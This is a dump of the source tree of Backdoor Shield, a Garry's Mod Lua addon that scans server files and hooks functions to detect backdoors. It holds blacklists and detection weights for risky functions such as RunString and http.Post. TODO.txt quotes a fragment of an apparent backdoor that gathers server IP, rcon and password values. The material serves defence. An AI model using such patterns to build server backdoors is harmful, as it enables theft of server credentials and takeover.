├── lua ├── autorun │ └── client │ │ └── bs_cl_autorun.lua └── bs │ ├── server │ ├── libs │ │ ├── liveprotection │ │ │ ├── notifications.lua │ │ │ ├── trace.lua │ │ │ ├── detour.lua │ │ │ ├── filter.lua │ │ │ ├── stack.lua │ │ │ └── debug.lua │ │ ├── base │ │ │ ├── autoreloading.lua │ │ │ ├── msgc.lua │ │ │ ├── utils.lua │ │ │ ├── scan.lua │ │ │ ├── log.lua │ │ │ └── invisible.lua │ │ └── filescanner │ │ │ └── scanner.lua │ ├── definitions │ │ ├── main.lua │ │ ├── filescanner.lua │ │ └── liveprotection.lua │ └── sv_init.lua │ ├── client │ └── libs │ │ └── notifications.lua │ └── init.lua ├── LICENSE ├── gamemodes └── base │ └── gamemode │ └── gravitygun.lua ├── TODO.txt └── README.md /lua/autorun/client/bs_cl_autorun.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | include("bs/init.lua") 7 | -------------------------------------------------------------------------------- /lua/bs/server/libs/liveprotection/notifications.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | util.AddNetworkString("BS_AddNotification") -------------------------------------------------------------------------------- /lua/bs/server/definitions/main.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- MAIN CONFIGURATION 7 | -- ----------------------------------------------------------------------------------- 8 | 9 | -- If true, will enable code auto reloading, the command bs_tests and more time without hibernation 10 | -- Unsafe! Only used while developing 11 | BS.devMode = false 12 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (C) 2020 Xalalau Xubilozo 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /lua/bs/server/libs/base/autoreloading.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Auto reload the addon when a file is modified 7 | -- Note: UNSAFE! BS will be rebuilt itself exposed to the common addons environment and there may come detoured functions 8 | function BS:AutoReloading_Set() 9 | local name = "BS_AutoReloading" 10 | 11 | if self.devMode and not timer.Exists(name) then 12 | timer.Create(name, 0.2, 0, function() 13 | for fileName, creationTime in pairs(self:Utils_GetFilesCreationTimes()) do 14 | if creationTime ~= self.filenames[fileName] then 15 | MsgC(self.colors.reload, self.alert .. " Reloading...\n") 16 | 17 | self:Detour_RemoveAll() 18 | 19 | self.reloaded = true 20 | 21 | self.__G.BS_reloaded = true 22 | timer.Simple(0.01, function() 23 | include(self.folder.lua .. "/init.lua") 24 | 25 | self.__G.BS_reloaded = nil 26 | end) 27 | 28 | timer.Remove(name) 29 | end 30 | end 31 | end) 32 | end 33 | end 34 | -------------------------------------------------------------------------------- /gamemodes/base/gamemode/gravitygun.lua: -------------------------------------------------------------------------------- 1 | -- Initialize before all addons 2 | -- I chose this file because it's small and stable 3 | if SERVER then 4 | if file.Exists("lua/bs/init.lua", "GAME") then 5 | include('bs/init.lua') 6 | end 7 | end 8 | 9 | --[[--------------------------------------------------------- 10 | Name: gamemode:GravGunPunt() 11 | Desc: We're about to punt an entity (primary fire). 12 | Return true if we're allowed to. 13 | -----------------------------------------------------------]] 14 | function GM:GravGunPunt( ply, ent ) 15 | return true 16 | end 17 | 18 | --[[--------------------------------------------------------- 19 | Name: gamemode:GravGunPickupAllowed() 20 | Desc: Return true if we're allowed to pickup entity 21 | -----------------------------------------------------------]] 22 | function GM:GravGunPickupAllowed( ply, ent ) 23 | return true 24 | end 25 | 26 | if ( SERVER ) then 27 | 28 | --[[--------------------------------------------------------- 29 | Name: gamemode:GravGunOnPickedUp() 30 | Desc: The entity has been picked up 31 | -----------------------------------------------------------]] 32 | function GM:GravGunOnPickedUp( ply, ent ) 33 | end 34 | 35 | 36 | --[[--------------------------------------------------------- 37 | Name: gamemode:GravGunOnDropped() 38 | Desc: The entity has been dropped 39 | -----------------------------------------------------------]] 40 | function GM:GravGunOnDropped( ply, ent ) 41 | end 42 | 43 | end 44 | -------------------------------------------------------------------------------- /lua/bs/server/libs/base/msgc.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- That will fix color code printing for linux SRCDS 7 | -- SRCDS on linux doesn't support 256 color mode 8 | -- So we have to detour MSGC and replace it for the available ones. 9 | 10 | if not system.IsLinux() then return end 11 | 12 | local available_colors = { 13 | "\27[38;5;0m", "\27[38;5;18m", "\27[38;5;22m", 14 | "\27[38;5;12m", "\27[38;5;52m", "\27[38;5;53m", 15 | "\27[38;5;3m", "\27[38;5;240m", "\27[38;5;8m", 16 | "\27[38;5;4m", "\27[38;5;10m", "\27[38;5;14m", 17 | "\27[38;5;9m", "\27[38;5;13m", "\27[38;5;11m", 18 | "\27[38;5;15m", "\27[38;5;8m" 19 | } 20 | 21 | local tColorMap = { 22 | Color(0, 0, 0), Color(0, 0, 127), Color(0, 127, 0), 23 | Color(0, 127, 127), Color(127, 0, 0), Color(127, 0, 127), 24 | Color(127, 127, 0), Color(200, 200, 200), Color(127, 127, 127), 25 | Color(0, 0, 255), Color(0, 255, 0), Color(0, 255, 255), 26 | Color(255, 0, 0), Color(255, 0, 255), Color(255, 255, 0), 27 | Color(255, 255, 255), Color(128, 128, 128) 28 | } 29 | 30 | local tColorMap_len = #tColorMap 31 | local color_clear_sequence = "\27[0m" 32 | 33 | local function SequenceFromColor(col) 34 | local dist, windist, ri 35 | 36 | for i = 1, tColorMap_len do 37 | dist = (col.r - tColorMap[i].r)^2 + (col.g - tColorMap[i].g)^2 + (col.b - tColorMap[i].b)^2 38 | 39 | if i == 1 or dist < windist then 40 | windist = dist 41 | ri = i 42 | end 43 | end 44 | 45 | return available_colors[ri] 46 | end 47 | table.insert(BS.locals, SequenceFromColor) 48 | 49 | function BS:PrintColored(color, text) 50 | local color_sequence = color_clear_sequence 51 | 52 | if istable(color) then 53 | color_sequence = SequenceFromColor(color) 54 | elseif isstring(color) then 55 | color_sequence = color 56 | end 57 | 58 | if not isstring(color_sequence) then 59 | color_sequence = color_clear_sequence 60 | end 61 | 62 | Msg(color_sequence..text..color_clear_sequence) 63 | end 64 | 65 | function BS:MsgC(...) 66 | local this_sequence = color_clear_sequence 67 | 68 | for k, arg in ipairs({...}) do 69 | if istable(arg) then 70 | this_sequence = sequence_from_color(arg) 71 | else 72 | self:PrintColored(this_sequence, tostring(arg)) 73 | end 74 | end 75 | end 76 | -------------------------------------------------------------------------------- /lua/bs/client/libs/notifications.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | local notification 7 | local text_warning 8 | 9 | local function CreateNotification() 10 | local iconSize = 16 11 | local border = 10 12 | local line = 25 13 | local dLabelHeight = 16 14 | 15 | local panelInfo = { 16 | width = 170, 17 | height, 18 | x = 30, 19 | y = 30 20 | } 21 | 22 | local iconWarningInfo = { 23 | width = iconSize, 24 | height = iconSize, 25 | x = border, 26 | y = border 27 | } 28 | 29 | local headerInfo = { 30 | width = panelInfo.width, 31 | height = dLabelHeight, 32 | x = border * 2 + iconSize, 33 | y = border 34 | } 35 | 36 | local contentInfo = { 37 | width = panelInfo.width, 38 | height = dLabelHeight, 39 | x = border * 2 + iconSize, 40 | y = headerInfo.y + line 41 | } 42 | 43 | panelInfo.height = contentInfo.y + contentInfo.height + border 44 | 45 | notification = vgui.Create("DPanel") 46 | notification:SetPos(panelInfo.x, panelInfo.y) 47 | notification:SetSize(panelInfo.width, panelInfo.height) 48 | notification:SetBackgroundColor(Color(31, 31, 31)) 49 | notification:Show() 50 | 51 | local icon_warning = vgui.Create("DImage", notification) 52 | icon_warning:SetPos(iconWarningInfo.x, iconWarningInfo.y) 53 | icon_warning:SetSize(iconWarningInfo.width, iconWarningInfo.height) 54 | icon_warning:SetImage("icon16/shield.png") 55 | 56 | local header = vgui.Create("DLabel", notification) 57 | header:SetPos(headerInfo.x, headerInfo.y) 58 | header:SetSize(headerInfo.width, headerInfo.height) 59 | header:SetText("Backdoor Shield") 60 | header:SetColor(Color(255, 255, 255)) 61 | 62 | text_warning = vgui.Create("DLabel", notification) 63 | text_warning:SetPos(contentInfo.x, contentInfo.y) 64 | text_warning:SetSize(contentInfo.width, contentInfo.height) 65 | text_warning:SetColor(Color(165, 165, 165)) 66 | end 67 | 68 | net.Receive("BS_AddNotification", function() 69 | if not notification then 70 | CreateNotification() 71 | end 72 | 73 | text_warning:SetText(net.ReadString() .. " detections / " .. net.ReadString() .. " warnings") 74 | 75 | timer.Create("BS_HideNotification", 12, 1, function() 76 | notification:Hide() 77 | end) 78 | end) 79 | -------------------------------------------------------------------------------- /TODO.txt: -------------------------------------------------------------------------------- 1 | Banco assassino de backdoor https://github.com/BannedGithub/Backdoor_Busting_2015 2 | 3 | 4 | 5 | Stack_SkipBSFunctions functiona bem? Testar níveis. 6 | 7 | 8 | 9 | Há casos de gente escondendo coisas em "lua_run". Eu não escaneio isso. 10 | 11 | Eu devia emitir alertas quando algumas funções que alimentam tabelas assim são chamadas 12 | local Fuck1 = { 13 | server_name = Name, 14 | map = Map, 15 | gamemodename = Game, 16 | server_ip = math.random(1,244).."."..math.random(1,244).."."..math.random(1,244).."."..math.random(1,244), 17 | serverport = utilx.OneIn(3) and "27016" or "27015" 18 | server_rcon = utilx.OneIn(3) and HAC.RandomString() or "No rcon" 19 | serverpass = utilx.OneIn(5) and table.RandomEx(HSP.ChatFilter.Abbreviations).what or "", 20 | currentplayers = tostring(Tot), 21 | maxplayers = tostring(Max), 22 | infector = "Third Person Controller", 23 | infector_ver = "3.3", 24 | } 25 | ex: quem precisa de server_ip e serverport? 26 | 27 | 28 | 29 | 30 | Found obfuscated bytecode 31 | Found bytecode compiler 32 | This will run code received through a network string, this is very bad. (critical backdoor found) 33 | 34 | 35 | 36 | 37 | 38 | Checkar stack do net.Start? 39 | 40 | Vi um runstring com: 41 | SetModel, DropWeapon, SetUserGroup, me:SetRunSpeed, me:SetWalkSpeed, addMoney, GiveAmmo, GodEnable, GodDisable 42 | Freeze, , Ignite, Fire, Kill, DoAnimationEvent, sv_gravity, sv_friction, sv_password, sv_allowcslua, rp_resetallmoney, sv_hostname 43 | Remove, RunConsoleCommand, file.Delete, file.Find, ULib.unban, IPAddress, SteamID(), Nick(), OpenURL, hook.Add, hook.Remove, 44 | BroadcastLua , AddText, SetWeaponColor, RunString, Ignite, http.Fetch, http.Post, EmitSound, util.ScreenShake, AddVelocity, 45 | file.Exists, _G., _G[, _R., _R[, startingmoney, ChatPrint, debug.getregistry, _R.Player.Ban, _R.Player.Kick, game.KickID, ULib.kick, 46 | ULib.ban, ULib.addBan, SetMaterial, SetModel, setDarkRPVar, storeRPName, timer.Exists, timer.Create, timer.Destroy, game.CleanUpMap, 47 | DarkRP.createJob, Ban, Kick, BitcoinValue, MaxInterest, doubleChance, PrintMessage, util.AddNetworkString, net.Read, ParticleEmitter 48 | ClientsideModel, cam.Start3D, surface.PlaySound, sound.PlayURL, getip(), GetConVar("hostport"):GetFloat(), concommand.Add 49 | 50 | "rcon_password", 51 | "sv_password", 52 | "STEAM_0:", 53 | 54 | 55 | --[[ 56 | SendLua, SetModel, DropWeapon, SetUserGroup, me:SetRunSpeed, me:SetWalkSpeed, addMoney, GiveAmmo, GodEnable, GodDisable 57 | Freeze, , Ignite, Fire, Kill, DoAnimationEvent, , , , , , 58 | Remove, , , , ULib.unban, IPAddress, SteamID(), Nick(), OpenURL, 59 | , AddText, SetWeaponColor, , Ignite, , EmitSound, , AddVelocity, 60 | _R.Player.Ban, _R.Player.Kick, ULib.kick, 61 | ULib.ban, ULib.addBan, SetMaterial, SetModel, setDarkRPVar, storeRPName, , , 62 | DarkRP.createJob, , BitcoinValue, MaxInterest, doubleChance, , , 63 | , , getip(), 64 | ]] 65 | -------------------------------------------------------------------------------- /lua/bs/server/libs/base/utils.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Generate random name 7 | function BS:Utils_GetRandomName() 8 | local name = string.ToTable("qwertyuiopsdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM") 9 | local newName = "" 10 | local aux, rand 11 | 12 | for i = 1, #name do 13 | rand = math.random(#name) 14 | aux = name[i] 15 | name[i] = name[rand] 16 | name[rand] = aux 17 | end 18 | 19 | for i = 1, #name do 20 | newName = newName .. name[i] 21 | end 22 | 23 | return newName 24 | end 25 | 26 | -- Save the creation time of our files 27 | function BS:Utils_GetFilesCreationTimes() 28 | local times = {} 29 | 30 | local function GetRecursive(dir) 31 | local files, dirs = file.Find(dir .. "*", "LUA") 32 | 33 | if not dirs then 34 | return 35 | end 36 | 37 | for _, subDir in ipairs(dirs) do 38 | GetRecursive(dir .. subDir .. "/") 39 | end 40 | 41 | for k, _file in ipairs(files) do 42 | times[dir .. _file] = file.Time(dir .. _file, "LUA") 43 | end 44 | end 45 | 46 | GetRecursive(self.folder.lua .. "/") 47 | 48 | return times 49 | end 50 | 51 | -- Convert the path of a file in the addons folder to a game's mounted one. 52 | -- I'll save it and prevent us from scanning twice. 53 | function BS:Utils_ConvertAddonPath(path, forceConvertion) 54 | local corvertedPath 55 | 56 | if forceConvertion or string.sub(path, 1, 7) == "addons/" then 57 | corvertedPath = "" 58 | 59 | for k, pathPart in ipairs(string.Explode("/", path)) do 60 | if k > 2 then 61 | corvertedPath = corvertedPath .. "/" .. pathPart 62 | end 63 | end 64 | 65 | corvertedPath = string.sub(corvertedPath, 2, string.len(corvertedPath)) 66 | end 67 | 68 | return corvertedPath or path 69 | end 70 | 71 | -- Issue: https://stackoverflow.com/questions/9356169/utf-8-continuation-bytes 72 | -- This function was written by Ceifa. It also replaces utf8.codepoint, which often gives errors. 73 | function BS:Utils_GetFullByte(str, startPos) 74 | local firstbyte = string.byte(str[startPos]) 75 | local continuations = firstbyte >= 0xF0 and 3 or firstbyte >= 0xE0 and 2 or firstbyte >= 0xC0 and 1 76 | 77 | if not continuations then 78 | return firstbyte 79 | end 80 | 81 | local endPos = startPos + continuations 82 | local otherbytes = { string.byte(str, startPos + 1, endPos) } 83 | 84 | local codePoint = 0 85 | for _, byte in ipairs(otherbytes) do 86 | -- codePoint = codePoint << 6 | byte & 0x3F 87 | codePoint = bit.band(bit.bor(bit.lshift(codePoint, 6), byte), 0x3F) 88 | -- firstbyte = firstbyte << 1 89 | firstbyte = bit.lshift(firstbyte, 1) 90 | end 91 | 92 | -- codePoint = codePoint | ((firstbyte & 0x7F) << continuations * 5) 93 | codePoint = bit.bor(codePoint, bit.lshift(bit.band(firstbyte, 0x7F), continuations * 5)) 94 | return codePoint 95 | end 96 | -------------------------------------------------------------------------------- /lua/bs/server/libs/base/scan.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Find whitelisted detetections 7 | -- whitelist = { k = term } (ordered list) 8 | function BS:Scan_Whitelist(str, whitelist) 9 | local found = false 10 | 11 | if str and #whitelist > 0 then 12 | for k, term in ipairs(whitelist)do 13 | if string.find(str, term, nil, true) then 14 | found = true 15 | 16 | break 17 | end 18 | end 19 | end 20 | 21 | return found 22 | end 23 | 24 | -- Process a string according to a blacklist 25 | -- blacklist = { k = term } (ordered list) 26 | -- returns: { [term] = { lineNumber = int lineNumber, count = int count }, ... } 27 | function BS:Scan_Blacklist(BS, str, blacklist) 28 | local foundTerms = {} 29 | 30 | -- Scan each line 31 | for lineNumber, line in ipairs(string.Explode("\n", str, false)) do 32 | local strRemovedSpaces = string.gsub(line, " ", "") 33 | local foundInLine = {} 34 | 35 | for k, term in ipairs(blacklist) do 36 | if string.find(strRemovedSpaces, term, nil, true) then 37 | local count = select(2, string.gsub(strRemovedSpaces, string.PatternSafe(term), "")) 38 | 39 | if term == "=_G" or term == "=_R" then -- Since I'm not using patterns, I do some extra checks on _G and _R to avoid false positives. 40 | local strSingleWhiteSpaces = string.gsub(str, "%s+", " ") 41 | local strStart, strEnd = string.find(strSingleWhiteSpaces, term, nil, true) 42 | 43 | if not strStart then 44 | strStart, strEnd = string.find(strSingleWhiteSpaces, term == "=_G" and "= _G" or "= _R", nil, true) 45 | end 46 | 47 | local nextChar = strSingleWhiteSpaces[strEnd + 1] or "-" 48 | 49 | if nextChar == "\t" or nextChar == " " or nextChar == "\n" or nextChar == "\r\n" then 50 | foundTerms[term] = foundTerms[term] or {} 51 | foundInLine[term] = true 52 | table.insert(foundTerms[term], { lineNumber = lineNumber, count = count }) 53 | end 54 | else 55 | foundTerms[term] = foundTerms[term] or {} 56 | foundInLine[term] = true 57 | table.insert(foundTerms[term], { lineNumber = lineNumber, count = count }) 58 | end 59 | end 60 | end 61 | end 62 | 63 | return foundTerms 64 | end 65 | 66 | -- Search for spoofed code 67 | function BS:Scan_Characters(BS, str, ext) 68 | local foundChars = {} 69 | 70 | -- Scan each line 71 | if str and ext == "lua" then 72 | for lineNumber, line in ipairs(string.Explode("\n", str, false)) do 73 | local foundInLine = {} 74 | for i = 1, #line, 1 do 75 | local byte = BS.Utils_GetFullByte(BS, line, i) 76 | if BS.UTF8InvisibleChars[byte] then 77 | foundInLine[byte] = (foundInLine[byte] or 0) + 1 78 | end 79 | end 80 | 81 | for byte, count in pairs(foundInLine) do 82 | foundChars[byte] = foundChars[byte] or {} 83 | table.insert(foundChars[byte], { 84 | lineNumber = lineNumber, 85 | count = count 86 | }) 87 | end 88 | end 89 | end 90 | 91 | return foundChars 92 | end 93 | -------------------------------------------------------------------------------- /lua/bs/server/libs/liveprotection/trace.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Try to get a stored trace given any function address 7 | function BS:Trace_GetPersistent(currentTrace) 8 | local stackedTraceInfo = self.liveTraceStacks[tostring(self:Stack_GetTopFunctionAddress())] 9 | local stackedTrace = stackedTraceInfo and stackedTraceInfo.trace 10 | local newFullTrace = (stackedTrace and ("\n (+) BS - Persistent Trace" .. stackedTrace .. "") or "\n") .. " " .. currentTrace .. "\n" 11 | local newFullTraceClean 12 | 13 | -- Let's remove older stacked traces from the result if they exist 14 | if stackedTrace ~= "" then 15 | local _, countstackedTraces = string.gsub(newFullTrace, "(+)", "") 16 | 17 | if countstackedTraces >= 2 then 18 | local stackedTracesCounter = 0 19 | newFullTraceClean = "\n" 20 | 21 | for k, traceLine in ipairs(string.Explode("\n", newFullTrace)) do 22 | if string.find(traceLine, "(+)", nil, true) then 23 | stackedTracesCounter = stackedTracesCounter + 1 24 | end 25 | if stackedTracesCounter > countstackedTraces - 1 then 26 | newFullTraceClean = newFullTraceClean .. traceLine .. "\n" 27 | end 28 | end 29 | end 30 | end 31 | 32 | return newFullTraceClean or newFullTrace 33 | end 34 | 35 | -- Store a trace associated to a specific function that will lose it 36 | function BS:Trace_SetPersistent(func, name, trace) 37 | local stackedTrace = self.liveTraceStacks[tostring(self:Stack_GetTopFunctionAddress())] 38 | 39 | if stackedTrace then 40 | trace = stackedTrace.trace .. trace 41 | end 42 | 43 | self.liveTraceStacks[tostring(func)] = { name = name, trace = trace } 44 | end 45 | 46 | function BS:Trace_GetLuaFile(trace) 47 | -- The trace is a path starting with @ 48 | if trace and string.sub(trace, 1, 1) == "@" then 49 | return self:Utils_ConvertAddonPath(string.sub(trace, 2)) 50 | end 51 | 52 | -- No trace or it's "[c]" 53 | if not trace or string.len(trace) == 4 then 54 | trace = debug.traceback() 55 | end 56 | 57 | -- From the trace top to the bottom: 58 | -- Find "stack traceback:", skip our own files and get the first valid lua file 59 | local traceLines = string.Explode("\n", trace) 60 | local foundStackStart 61 | for k, traceLine in ipairs(traceLines) do 62 | if not foundStackStart and string.Trim(traceLine) == "stack traceback:" then 63 | foundStackStart = true 64 | elseif foundStackStart then 65 | if not string.find(traceLine, "/lua/" .. self.folder.lua, nil, true) and string.find(traceLine, ".lua", nil, true) then 66 | traceLine = string.Trim(string.Explode(":", traceLine)[1]) 67 | traceLine = self:Utils_ConvertAddonPath(traceLine) 68 | 69 | return traceLine 70 | end 71 | end 72 | end 73 | 74 | return "" 75 | end 76 | 77 | -- Check if the trace is of a low-risk detection 78 | function BS:Trace_IsLoose(trace) 79 | local isLoose = false 80 | local luaFile = self:Trace_GetLuaFile(trace) 81 | 82 | if self.liveLooseFiles_EZSearch[luaFile] then 83 | isLoose = true 84 | else 85 | for _,v in ipairs(self.live.loose.folders) do 86 | local start = string.find(luaFile, v, nil, true) 87 | 88 | if start == 1 then 89 | isLoose = true 90 | 91 | break 92 | end 93 | end 94 | end 95 | 96 | return isLoose 97 | end 98 | 99 | -- Check if the trace is of a whitelisted detection 100 | function BS:Trace_IsWhitelisted(trace) 101 | local isWhitelisted = false 102 | local luaFile = self:Trace_GetLuaFile(trace) 103 | 104 | if self.liveWhitelistsFiles_EZSearch[luaFile] then 105 | isWhitelisted = true 106 | else 107 | for _, _file in ipairs(self.live.whitelists.folders) do 108 | local start = string.find(luaFile, _file, nil, true) 109 | 110 | if start == 1 then 111 | isWhitelisted = true 112 | break 113 | end 114 | end 115 | end 116 | 117 | return isWhitelisted 118 | end -------------------------------------------------------------------------------- /lua/bs/server/definitions/filescanner.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- FILES SCANNER 7 | -- ----------------------------------------------------------------------------------- 8 | 9 | -- Don't add common patterns to the blacklists and suspect lists, or the addon will return 10 | -- many false positives and probably turn the console into a giant log hell. 11 | 12 | BS.scanner = { 13 | -- These extensions will never be considered as not suspect by the file scanner. 14 | -- The bs_scan command scans only for files with these extensions. 15 | dangerousExtensions = { "lua", "txt" , "vmt", "dat", "json" }, 16 | 17 | -- The folders checked by the scanner if none are specified (bs_scan command) 18 | foldersToScan = { "addons", "lua", "gamemodes", "data" }, 19 | 20 | -- Print low-risk results in the console 21 | printLowRisk = false, 22 | 23 | -- Print detection lines in the console 24 | printLines = true, 25 | 26 | -- Discard results that didn't even get the low risk weight 27 | discardUnderLowRisk = true, 28 | 29 | -- Ignore our own folders 30 | ignoreBSFolders = true, 31 | 32 | -- Current risk thresholds: 33 | thresholds = { 34 | high = 15, 35 | medium = 10, 36 | low = 5 37 | }, 38 | 39 | -- Weight reduction in detections 40 | counterWeights = { 41 | notSuspicious = -15, 42 | loose = -10 43 | }, 44 | 45 | -- Weight increase in detections 46 | extraWeights = { 47 | invalidChar = 4, -- Do not set the weight at or above thresholds.low, this value eliminates many false positives. 48 | notLuaFile = 5 49 | }, 50 | 51 | -- Avoid false positives with non Lua files 52 | -- Detections with these chars will be considered as not suspect (at first) for tested strings 53 | -- that aren't from files with extensions listed in the dangerousExtensions table. 54 | notSuspicious = { 55 | "ÿ", 56 | "" -- 000F 57 | }, 58 | 59 | -- Blacklisted terms and their detection weights 60 | -- The blacklist can have functions, snippets, syntax and symbols as keys 61 | -- The number assigned to each line is a weight that will be added during the scan 62 | -- The weight of each detection is compared to the risk thresholds to determine the threat level 63 | blacklist = { 64 | ["(_G)"] = 15, 65 | [",_G,"] = 15, 66 | ["!true"] = 15, 67 | ["!false"] = 15, 68 | ["=_G"] = 12, -- Used by backdoors to start hiding names or create a new environment 69 | ["RunString"] = 10, 70 | ["CompileString"] = 8, 71 | ["CompileFile"] = 8, 72 | ["http.Fetch"] = 5, 73 | ["http.Post"] = 5, 74 | ["game.ConsoleCommand"] = 5, 75 | ["STEAM_0:"] = 5, 76 | ["debug.getinfo"] = 4, 77 | ["setfenv"] = 4, 78 | ["BroadcastLua"] = 3, 79 | ["SendLua"] = 3, 80 | ["_G["] = 2, 81 | ["_G."] = 2, 82 | ["_R["] = 2, 83 | ["_R."] = 2, 84 | ["pcall"] = 1, 85 | ["xpcall"] = 1, 86 | ["]()"] = 1, 87 | ["0x"] = 1, 88 | ["\\x"] = 1 89 | }, 90 | 91 | -- Whitelists 92 | -- Detections that fall into this list are entirely ignored and don't generate logs. 93 | -- Each row added to these tables gives backdoors a new way to hide, so customize them as needed. 94 | whitelists = { 95 | -- Whitelisted folders 96 | folders = { 97 | "lua/wire", -- Wiremod 98 | "lua/entities/gmod_wire_expression2", -- Wiremod 99 | "lua/ulx", -- ULX 100 | "lua/ulib", -- Ulib 101 | "lua/pac3", -- Pac3 102 | "lua/smh", -- Stop Motion Helper 103 | "lua/playx" -- PlayX 104 | }, 105 | 106 | -- Whitelisted files 107 | files = { 108 | "lua/entities/gmod_wire_expression2/core/extloader.lua", -- Wiremod 109 | "lua/entities/info_wiremapinterface/init.lua", -- Wiremod 110 | "gamemodes/base/entities/entities/lua_run.lua", -- GMod 111 | "lua/vgui/dhtml.lua", -- GMod 112 | "lua/derma/derma.lua" -- GMod 113 | }, 114 | 115 | -- Whitelist snippets 116 | -- Ignore detections containing the listed texts 117 | -- Be very careful to add items here! Ideally, this list should never be used 118 | snippets = { 119 | --"RunHASHOb", -- Ignore a DRM. Note: backdoors have already been found under DRMs. 120 | --"RunningDRMe", -- Ignore a DRM. Note: backdoors have already been found under DRMs. 121 | }, 122 | }, 123 | 124 | -- Loose detections 125 | -- Detections from these lists will receive a great detection weight reduction 126 | loose = { 127 | -- Loose folders 128 | folders = { 129 | }, 130 | 131 | -- Loose files 132 | files = { 133 | }, 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /lua/bs/server/sv_init.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Create our liveCallerBlacklist table 7 | local function InitSv_SetLiveCallerBlacklist(BS) 8 | for funcName, blacklistedCallers in pairs(BS.live.blacklists.stack) do 9 | BS.liveCallerBlacklist[funcName] = {} 10 | for k, blacklistedCallerName in ipairs(blacklistedCallers) do 11 | BS.liveCallerBlacklist[funcName][tostring(BS:Detour_GetFunction(blacklistedCallerName))] = blacklistedCallerName 12 | BS.liveCallerBlacklist[funcName][tostring(BS:Detour_GetFunction(blacklistedCallerName, _G))] = blacklistedCallerName 13 | end 14 | end 15 | end 16 | table.insert(BS.locals, InitSv_SetLiveCallerBlacklist) 17 | 18 | function BS:Initialize() 19 | -- Print logo 20 | -- https://manytools.org/hacker-tools/ascii-banner/ 21 | -- Font: ANSI Shadow 22 | local logo = { [1] = [[ 23 | 24 | ----------------------- Server Protected By ----------------------- 25 | 26 | ██████╗ █████╗ ██████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██████╗ 27 | ██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗ 28 | ██████╔╝███████║██║ █████╔╝ ██║ ██║██║ ██║██║ ██║██████╔╝ 29 | ██╔══██╗██╔══██║██║ ██╔═██╗ ██║ ██║██║ ██║██║ ██║██╔══██╗]], 30 | [2] = [[ 31 | ██████╔╝██║ ██║╚██████╗██║ ██╗██████╔╝╚██████╔╝╚██████╔╝██║ ██║ 32 | ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ 33 | 34 | ███████╗██╗ ██╗██╗███████╗██╗ ██████╗ Copyright (C) 2020 35 | ██╔════╝██║ ██║██║██╔════╝██║ ██╔══██╗ Xalalau Xubilozo 36 | ███████╗███████║██║█████╗ ██║ ██║ ██║ MIT License 37 | ╚════██║██╔══██║██║██╔══╝ ██║ ██║ ██║]], 38 | [3] = [[ 39 | ███████║██║ ██║██║███████╗███████╗██████╔╝ ██ ]] .. self.version .. [[ 40 | 41 | ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚═════╝ 42 | 43 | | Real-time protection | Anti detour | Files scanner | Great logs | 44 | 45 | Set custom options and black/whitelists in the definitions files: 46 | "addons/backdoor-shield/lua/bs/server/definitions/" 47 | Note: the addon must be extracted or downloaded from GitHub. 48 | 49 | Logs directory: "garrysmod/data/]] .. self.folder.data .. [[" 50 | ]], 51 | [4] = [[ 52 | Commands: 53 | | 